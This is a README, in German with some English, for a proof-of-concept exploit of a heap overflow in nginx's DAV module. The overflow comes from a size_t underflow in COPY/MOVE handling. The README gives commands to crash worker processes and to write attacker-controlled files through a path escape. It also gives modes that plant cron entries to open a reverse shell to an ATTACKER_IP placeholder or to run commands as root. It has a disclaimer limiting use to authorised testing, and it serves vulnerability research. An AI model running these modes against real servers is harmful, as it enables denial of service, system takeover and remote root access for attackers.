
NGINX `ngx_http_dav_module` Heap-Pufferüberlauf durch `size_t`-Unterlauf (Remote-DoS / potenzielle RCE)
NGINX ngx_http_dav_module Heap Buffer Overflow via size_t Underflow (Remote DoS / Potential RCE)
ngx_http_dav_copy_move_handler() in src/http/modules/ngx_http_dav_module.c
berechnet die Länge der Ziel-URI, indem die Länge des Location-Präfixes von der
URI-Pfadkomponente des Destination-Headers subtrahiert wird. Beide Werte sind
vom Typ size_t (unsigned 64-Bit). Wenn der Zielpfad kürzer ist als das
Location-Präfix, läuft die Subtraktion auf ~0 über, was zu einer massiven
memcpy-Länge führt, die eine 7-Byte-Heap-Allokation überläuft und den
Worker-Prozess zum Absturz bringt.
Eine einzige manipulierte - oder -Anfrage an eine per gemappte DAV-Location löst den Überlauf aus. Der nginx-Masterprozess startet den Worker neu, aber wiederholte Anfragen halten den Server in einer kontinuierlichen Absturzschleife.
MOVECOPYaliasASan bestätigt: negative-size-param: (size=-7) bei memcpy in
ngx_http_core_module.c:1949, aufgerufen von ngx_http_dav_copy_move_handler.
Betroffen: nginx 0.5.13 bis 1.28.2 (stable) sowie 1.29.0 bis 1.29.6 (mainline),
kompiliert mit --with-http_dav_module und Verwendung von alias in der
DAV-Location. Behoben in 1.28.3 / 1.29.7 (Commit ab4b5b8, PR #1210).
# Docker (recommended -- builds vulnerable nginx from source):
docker compose up -d --build
python3 poc.py --target 127.0.0.1:8080
# Native (builds nginx 1.28.2 from source, no Docker):
./run.sh # non-ASan build (observes SIGSEGV crash)
./run.sh --asan # ASan build (definitive proof)
./run.sh --both # run both sequentially
# Against an existing vulnerable nginx instance:
python3 poc.py --target <HOST:PORT>
python3 poc.py --target <HOST:PORT> --no-put # if trigger file already exists
python3 poc.py --target <HOST:PORT> --verbose
Der Standardmodus bleibt der kanonische Crash-Trigger. Er sendet PUT,
gefolgt von einem manipulierten MOVE, dessen Destination-Pfad kürzer ist
als das DAV-Location-Präfix:
python3 poc.py --target <HOST:PORT> --mode crash \
--location-prefix /uploads/ --destination-path /x --alias-len 13
Für autorisierte Laborkonfigurationen, bei denen die DAV-Zielbehandlung einen
relativen Zielpfad-Ausbruch erlaubt, kann dasselbe Tool Angreifer-kontrollierte
Inhalte an einen gewählten Pfad liefern. Das genaue --location-prefix,
--escape-depth und der Zielpfad müssen aus Ihrer eigenen Dienstkonfiguration
und Aufklärung stammen:
# Write literal content to a chosen path through COPY/MOVE destination handling.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/dav-proof.txt --payload-text proof
# Write bytes from a local file.
python3 poc.py --target <HOST:PORT> --mode write-file \
--location-prefix /data/ --escape-depth 3 \
--destination-path /tmp/payload.bin --payload-file ./payload.bin
# Deliver a cron entry that opens a reverse shell.
python3 poc.py --target <HOST:PORT> --mode cron-shell \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-shell \
--lhost <ATTACKER_IP> --lport 4444
# Deliver a one-shot cron command for non-interactive authorized proof.
python3 poc.py --target <HOST:PORT> --mode cron-cmd \
--location-prefix /data/ --escape-depth 3 \
--destination-path /etc/cron.d/dav-proof \
--cron-command 'id > /tmp/dav-root-proof.out'
write-file, cron-shell und cron-cmd sind generische Zustellungshelfer für
autorisierte Umgebungen mit einer beschreibbaren DAV-Quelle und einem
Zielpfad-Ausbruch. Sie sind nicht erforderlich, um den kanonischen
Heap-Overflow-Crash nachzuweisen.
--with-http_dav_module, Location-Block mit
alias (nicht root), dav_methods enthält COPY oder MOVErequests wird verwendet, wenn verfügbar; andernfalls
fällt der PoC für einfache HTTP-Ziele auf die Python-Standardbibliothek zurück.gcc, make, libpcre2-dev, libssl-dev, zlib1g-dev, wget| Datei | Beschreibung |
|---|---|
poc.py | Python-PoC – kanonischer Crash-Trigger plus generische COPY/MOVE-Zielmodi |
run.sh | Baut nginx aus dem Quellcode (ASan / non-ASan) und führt den PoC aus |
Dockerfile | Mehrstufiger Build der verwundbaren nginx 1.28.2 |
docker-compose.yml | Docker-Setup mit einem Befehl |
nginx.conf | Verwundbare Konfiguration (alias + dav_methods COPY MOVE) |
proof_output.txt | ASan-Ausgabe aus der Live-Verifizierung |
Dieses Projekt wird unter der GNU GPLv3 veröffentlicht.
Es wird für defensive Sicherheitsforschung, Bildung und autorisierte Tests bereitgestellt. Verwenden Sie diesen Code nicht gegen Systeme oder Dienste ohne ausdrückliche Genehmigung des Eigentümers.
Unbefugte Nutzung kann geltendes Recht verletzen. Die Autoren erteilen keine Genehmigung, Systeme Dritter zu testen, und übernehmen keine Verantwortung für Missbrauch.
Siehe die LICENSE-Datei für Garantie- und Haftungsbedingungen.